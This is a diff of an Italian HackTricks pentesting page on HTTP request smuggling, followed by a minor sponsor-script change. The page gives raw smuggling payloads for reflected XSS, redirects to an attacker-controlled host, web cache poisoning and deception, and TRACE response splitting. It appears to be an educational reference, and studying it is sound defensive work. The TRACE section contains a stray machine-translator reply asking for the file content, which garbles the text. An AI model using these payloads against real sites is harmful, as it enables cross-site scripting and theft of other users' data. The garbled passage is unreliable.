+Negli scenari in cui un sito è suscettibile a Reflected XSS attraverso l'User-Agent header, il payload seguente dimostra come sfruttare questa vulnerabilità:
 ```
 POST / HTTP/1.1
 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@@ -517,26 +566,26 @@ Content-Type: application/x-www-form-urlencoded
 
 A=
 ```
-Questo payload è strutturato per sfruttare la vulnerabilità attraverso:
+Questo payload è strutturato per sfruttare la vulnerabilità in questo modo:
 
-1. Iniziare una richiesta `POST`, apparentemente tipica, con un header `Transfer-Encoding: chunked` per indicare l'inizio dello smuggling.
-2. Seguire con un `0`, marcando la fine del body chunked.
-3. Poi viene introdotta una richiesta smuggled `GET`, dove l'header `User-Agent` viene iniettato con uno script, `<script>alert(1)</script>`, che attiva l'XSS quando il server elabora questa richiesta successiva.
+1. Avviare una richiesta `POST`, apparentemente normale, con l'header `Transfer-Encoding: chunked` per indicare l'inizio dello smuggling.
+2. Seguire con uno `0`, che segna la fine del corpo del messaggio chunked.
+3. Poi viene introdotta una richiesta `GET` smuggled, dove l'header `User-Agent` viene iniettato con lo script `<script>alert(1)</script>`, innescando la XSS quando il server elabora questa richiesta successiva.
 
-Manipolando il `User-Agent` tramite smuggling, il payload bypassa i normali vincoli delle richieste, sfruttando così la vulnerabilità di Reflected XSS in modo non standard ma efficace.
+Manipolando il `User-Agent` tramite smuggling, il payload aggira i normali vincoli delle richieste, sfruttando così la vulnerabilità Reflected XSS in modo non standard ma efficace.
 
 #### HTTP/0.9
 
 > [!CAUTION]
-> Nel caso il contenuto utente venga riflesso in una risposta con un **`Content-type`** come **`text/plain`**, impedendo l'esecuzione dell'XSS. Se il server supporta **HTTP/0.9 potrebbe essere possibile aggirare questo**!
+> Nel caso il contenuto dell'utente venga riflesso in una risposta con un **`Content-type`** come **`text/plain`**, ciò impedirebbe l'esecuzione della XSS. Se il server supporta **HTTP/0.9 potrebbe essere possibile bypassare questo**!
 
-La versione HTTP/0.9 precedeva la 1.0 e usa solo i verbi **GET** e **non** risponde con **headers**, solo il body.
+La versione HTTP/0.9 è precedente a HTTP/1.0 e utilizza soltanto i verbi **GET** e **non** risponde con **headers**, ma solo con il body.
 
-In [**this writeup**](https://mizu.re/post/twisty-python), questo è stato abusato con un request smuggling e un endpoint **vulnerable endpoint that will reply with the input of the user** per smuggleare una richiesta con HTTP/0.9. Il parametro che viene riflesso nella risposta conteneva una **fake HTTP/1.1 response (with headers and body)** quindi la risposta conterrà codice JS eseguibile valido con un `Content-Type` di `text/html`.
+In [**this writeup**](https://mizu.re/post/twisty-python), questo è stato sfruttato tramite request smuggling e un **endpoint vulnerabile che risponde con l'input dell'utente** per inviare di nascosto una richiesta con HTTP/0.9. Il parametro riflesso nella risposta conteneva una **falsa risposta HTTP/1.1 (con headers e body)**, quindi la risposta avrebbe contenuto codice JS eseguibile valido con un `Content-Type` di `text/html`.
 
 ### Sfruttare i redirect on-site con HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
 
-Le applicazioni spesso reindirizzano da un URL a un altro usando il nome host dall'header `Host` nell'URL di redirect. Questo è comune con web server come Apache e IIS. Per esempio, richiedere una cartella senza la slash finale provoca un redirect per includere la slash:
+Le applicazioni spesso reindirizzano da un URL a un altro usando il nome host preso dall'header `Host` nell'URL di redirect. Questo è comune con web server come Apache e IIS. Per esempio, richiedere una cartella senza la barra finale provoca un redirect per includere la barra:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
@@ -546,7 +595,7 @@ Risultati in:
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-Sebbene apparentemente innocuo, questo comportamento può essere manipolato usando HTTP request smuggling per reindirizzare gli utenti a un sito esterno. Per esempio:
+Sebbene apparentemente innocuo, questo comportamento può essere manipolato utilizzando HTTP request smuggling per reindirizzare gli utenti a un sito esterno. Ad esempio:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -560,7 +609,7 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Questa smuggled request potrebbe far sì che la prossima user request elaborata venga reindirizzata a un attacker-controlled website:
+Questa smuggled request potrebbe causare che la prossima richiesta utente processata venga reindirizzata a un attacker-controlled website:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
@@ -572,17 +621,17 @@ Risultati in:
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-In questo scenario, la richiesta di un utente per un file JavaScript viene dirottata. L'attaccante può potenzialmente compromettere l'utente servendo JavaScript malevolo in risposta.
+In questo scenario, la richiesta di un file JavaScript da parte di un utente viene dirottata. L'attaccante può potenzialmente compromettere l'utente servendo JavaScript malevolo in risposta.
 
-### Sfruttare Web Cache Poisoning tramite HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Il Web cache poisoning può essere eseguito se qualsiasi componente della **infrastruttura front-end memorizza nella cache il contenuto**, tipicamente per migliorare le prestazioni. Manipolando la risposta del server, è possibile **poison the cache**.
+Web cache poisoning può essere eseguito se qualsiasi componente della **infrastruttura front-end memorizza nella cache i contenuti**, tipicamente per migliorare le prestazioni. Manipolando la risposta del server, è possibile **poison the cache**.
 
-In precedenza, abbiamo osservato come le risposte del server possano essere modificate per restituire un errore 404 (vedi [Basic Examples](#basic-examples)). Analogamente, è possibile ingannare il server per far sì che fornisca il contenuto di `/index.html` in risposta a una richiesta per `/static/include.js`. Di conseguenza, il contenuto di `/static/include.js` viene sostituito nella cache con quello di `/index.html`, rendendo `/static/include.js` inaccessibile agli utenti e potenzialmente causando un Denial of Service (DoS).
+In precedenza, abbiamo visto come le risposte del server potessero essere alterate per restituire un errore 404 (vedi [Basic Examples](#basic-examples)). Allo stesso modo, è fattibile ingannare il server affinché consegni il contenuto di `/index.html` in risposta a una richiesta per `/static/include.js`. Di conseguenza, il contenuto di `/static/include.js` viene sostituito nella cache con quello di `/index.html`, rendendo `/static/include.js` inaccessibile agli utenti e potenzialmente causando un Denial of Service (DoS).
 
-Questa tecnica diventa particolarmente potente se viene scoperta una **Open Redirect vulnerability** o se esiste un **on-site redirect to an open redirect**. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di `/static/include.js` con uno script controllato dall'attaccante, consentendo di fatto un ampio attacco **Cross-Site Scripting (XSS)** contro tutti i client che richiedono il `/static/include.js` aggiornato.
+Questa tecnica diventa particolarmente potente se viene scoperta una **Open Redirect vulnerability** o se esiste un **on-site redirect to an open redirect**. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato in cache di `/static/include.js` con uno script sotto il controllo dell'attaccante, abilitando di fatto un diffuso Cross-Site Scripting (XSS) contro tutti i client che richiedono il `/static/include.js` aggiornato.
 
-Di seguito un'illustrazione dello sfruttamento di **cache poisoning combined with an on-site redirect to open redirect**. L'obiettivo è alterare il contenuto della cache di `/static/include.js` per servire codice JavaScript controllato dall'attaccante:
+Di seguito è mostrata un'illustrazione dello sfruttamento di **cache poisoning combined with an on-site redirect to open redirect**. L'obiettivo è alterare il contenuto della cache di `/static/include.js` per servire codice JavaScript controllato dall'attaccante:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@@ -600,20 +649,20 @@ Content-Length: 10
 
 x=1
 ```
-Nota la richiesta incorporata che mira a `/post/next?postId=3`. Questa richiesta verrà reindirizzata a `/post?postId=4`, utilizzando il **Host header value** per determinare il dominio. Alterando il **Host header**, l'attaccante può reindirizzare la richiesta al proprio dominio (**on-site redirect to open redirect**).
+Nota la richiesta incorporata che punta a `/post/next?postId=3`. Questa richiesta verrà reindirizzata a `/post?postId=4`, utilizzando il **Host header value** per determinare il dominio. Modificando il **Host header**, l'attaccante può reindirizzare la richiesta al proprio dominio (**on-site redirect to open redirect**).
 
-Dopo un **socket poisoning** riuscito, dovrebbe essere avviata una **GET request** per `/static/include.js`. Questa richiesta sarà contaminata dalla precedente richiesta di **on-site redirect to open redirect** e recupererà il contenuto dello script controllato dall'attaccante.
+Dopo un riuscito **socket poisoning**, dovrebbe essere inviata una **GET request** per `/static/include.js`. Questa richiesta sarà contaminata dalla precedente richiesta **on-site redirect to open redirect** e recupererà il contenuto dello script controllato dall'attaccante.
 
-In seguito, qualsiasi richiesta per `/static/include.js` servirà il contenuto memorizzato nella cache dello script dell'attaccante, lanciando efficacemente un ampio attacco XSS.
+Successivamente, qualsiasi richiesta per `/static/include.js` fornirà il contenuto memorizzato nella cache dello script dell'attaccante, lanciando efficacemente un ampio attacco XSS.
 
-### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
+### Usare HTTP request smuggling per effettuare web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
 
 > **Qual è la differenza tra web cache poisoning e web cache deception?**
 >
-> - In **web cache poisoning**, l'attaccante fa sì che l'applicazione memorizzi nella cache del contenuto malevolo, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
-> - In **web cache deception**, l'attaccante fa sì che l'applicazione memorizzi nella cache del contenuto sensibile appartenente a un altro utente, e poi l'attaccante recupera questo contenuto dalla cache.
+> - In **web cache poisoning**, l'attaccante fa sì che l'applicazione memorizzi del contenuto malevolo nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
+> - In **web cache deception**, l'attaccante fa sì che l'applicazione memorizzi nella cache contenuti sensibili appartenenti a un altro utente, e poi l'attaccante recupera questo contenuto dalla cache.
 
-L'attaccante crea una smuggled request che recupera contenuti sensibili specifici per l'utente. Considera il seguente esempio:
+L'attaccante crea una smuggled request che recupera contenuti sensibili specifici dell'utente. Considera il seguente esempio:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@@ -624,19 +673,17 @@ L'attaccante crea una smuggled request che recupera contenuti sensibili specific
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-Se questa smuggled request avvelena un'entrata della cache destinata a contenuti statici (ad es., `/someimage.png`), i dati sensibili della vittima da `/private/messages` potrebbero essere memorizzati nella cache sotto l'entrata del contenuto statico. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.
+Se questa smuggled request avvelena una cache entry destinata a static content (es., `/someimage.png`), i dati sensibili della vittima provenienti da `/private/messages` potrebbero essere memorizzati sotto la cache entry del static content. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi cached sensitive data.
 
-### Abusare di TRACE tramite HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Abuso di TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-[**In this post**](https://portswigger.net/research/trace-desync-attack) si suggerisce che, se il server ha il metodo TRACE abilitato, potrebbe essere possibile abusarne tramite HTTP Request Smuggling. Questo perché questo metodo riflette qualsiasi header inviato al server come parte del corpo della risposta. Per esempio:
+[**In this post**](https://portswigger.net/research/trace-desync-attack) si suggerisce che se il server ha il metodo TRACE abilitato potrebbe essere possibile abusarne con un HTTP Request Smuggling. Questo perché questo metodo rifletterà qualsiasi header inviato al server come parte del body della response. Per esempio:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Non hai fornito il contenuto da tradurre. Per favore incolla qui il testo del file src/pentesting-web/http-request-smuggling/README.md che vuoi tradurre.
-
-Nota: seguirò le regole indicate (non tradurre codice, nomi di tecniche, link, percorsi, tag o markup).
+Per favore incolla il contenuto di src/pentesting-web/http-request-smuggling/README.md. Tradurrò il testo rilevante in italiano mantenendo intatta la sintassi markdown/HTML, i link, i tag e i percorsi.
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@@ -647,15 +694,15 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-Un esempio di come abusare di questo comportamento sarebbe **smuggle prima una HEAD request**. A questa request verrà risposto solo con le **headers** di una GET request (**`Content-Type`** tra queste). E fare **smuggle immediatamente dopo la HEAD una TRACE request**, che **rifletterà i dati inviati**.\
-Poiché la HEAD response conterrà un header `Content-Length`, la **response della TRACE request sarà trattata come il body della HEAD response, riflettendo quindi dati arbitrari** nella risposta.\
-Questa risposta sarà inviata alla request successiva sulla connessione, quindi questo potrebbe essere **usato in un file JS cached per esempio per iniettare codice JS arbitrario**.
+Un esempio di come abusare di questo comportamento sarebbe **smuggle prima una HEAD request**. A questa request verrà risposto solo con gli **headers** di una GET request (**`Content-Type`** tra questi). E smuggle **immediatamente dopo la HEAD una TRACE request**, che sarà **riflettente i dati inviati**.\
+Poiché la risposta HEAD conterrà un header `Content-Length`, la **response della TRACE request verrà trattata come il body della risposta HEAD, quindi riflettendo dati arbitrari**.\
+Questa response verrà inviata alla richiesta successiva sulla connessione, quindi questo potrebbe essere **usato in un file JS cache-ato per esempio per iniettare codice JS arbitrario**.
 
-### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Abuso di TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Si suggerisce di seguire [**this post**](https://portswigger.net/research/trace-desync-attack) per un altro modo di abusare del metodo TRACE. Come osservato, effettuando lo smuggle di una HEAD request e di una TRACE request è possibile **controllare alcuni dati riflessi** nella risposta alla HEAD request. La lunghezza del body della HEAD request è indicata dall'header `Content-Length` ed è costituita dalla response alla TRACE request.
+Si suggerisce di continuare seguendo [**this post**](https://portswigger.net/research/trace-desync-attack) per un altro modo di abusare del metodo TRACE. Come commentato, smuggling una HEAD request e una TRACE request permette di **controllare alcuni dati riflessi** nella risposta alla HEAD request. La lunghezza del body della HEAD request è sostanzialmente indicata nell'header `Content-Length` ed è formata dalla response alla TRACE request.
 
-Quindi, l'idea è che, conoscendo questo `Content-Length` e i dati forniti nella TRACE response, è possibile far sì che la TRACE response contenga una HTTP response valida dopo l'ultimo byte indicato dal `Content-Length`, permettendo a un attacker di controllare completamente la request verso la response successiva (che potrebbe essere usata per effettuare un cache poisoning).
+Quindi, l'idea è che, conoscendo questo Content-Length e i dati forniti nella response della TRACE, sia possibile far sì che la response della TRACE contenga una valida HTTP response dopo l'ultimo byte indicato dal Content-Length, consentendo a un attaccante di controllare completamente la request per la risposta successiva (che potrebbe essere usata per eseguire un cache poisoning).
 
 Example:
 ```
@@ -676,7 +723,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Genererà queste risposte (nota come la risposta HEAD ha un Content-Length che rende la risposta TRACE parte del body della HEAD e una volta che il Content-Length della HEAD termina viene smuggled una HTTP response valida):
+Genererà queste risposte (nota come la risposta HEAD ha un Content-Length che rende la risposta TRACE parte del body della HEAD e, una volta che il Content-Length della HEAD termina, una risposta HTTP valida viene smuggled):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -697,9 +744,9 @@ Content-Length: 50
 
 <script>alert(“arbitrary response”)</script>
 ```
-### Sfruttare HTTP Request Smuggling tramite HTTP Response Desynchronisation
+### Sfruttare HTTP Request Smuggling con HTTP Response Desynchronisation
 
-Hai trovato una vulnerabilità di HTTP Request Smuggling e non sai come exploit it. Prova questi altri metodi di exploitation:
+Hai trovato una vulnerabilità di HTTP Request Smuggling e non sai come sfruttarla? Prova questi altri metodi di exploitation:
 
 
 {{#ref}}
@@ -722,7 +769,7 @@ browser-http-request-smuggling.md
 request-smuggling-in-http-2-downgrades.md
 {{#endref}}
 
-## Turbo intruder scripts
+## Script Turbo intruder
 
 ### CL.TE
 
@@ -811,14 +858,14 @@ table.add(req)
 ```
 ## Strumenti
 
-- HTTP Hacker (Burp BApp Store) – visualizzare la concatenazione/framing e il comportamento HTTP a basso livello
+- HTTP Hacker (Burp BApp Store) – visualizzare concatenazione/framing e comportamento HTTP a basso livello
 - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
-- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Questo tool è un HTTP Fuzzer basato su grammatica utile per trovare strane discrepanze di request smuggling.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Questo tool è un grammar-based HTTP Fuzzer utile per trovare strane discrepanze di request smuggling.
 
 ## Riferimenti
 
@@ -835,6 +882,7 @@ table.add(req)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
 - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
 - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
+- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
 
 
 {{#include ../../banners/hacktricks-training.md}}

theme/sponsor.js

@@ -15,7 +15,8 @@
   var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
 
   async function getSponsor() {
-    const url = "https://book.hacktricks.wiki/sponsor"
+    const currentUrl = encodeURIComponent(window.location.href);
+    const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
     try {
       const response = await fetch(url, { method: "GET" })
       if (!response.ok) {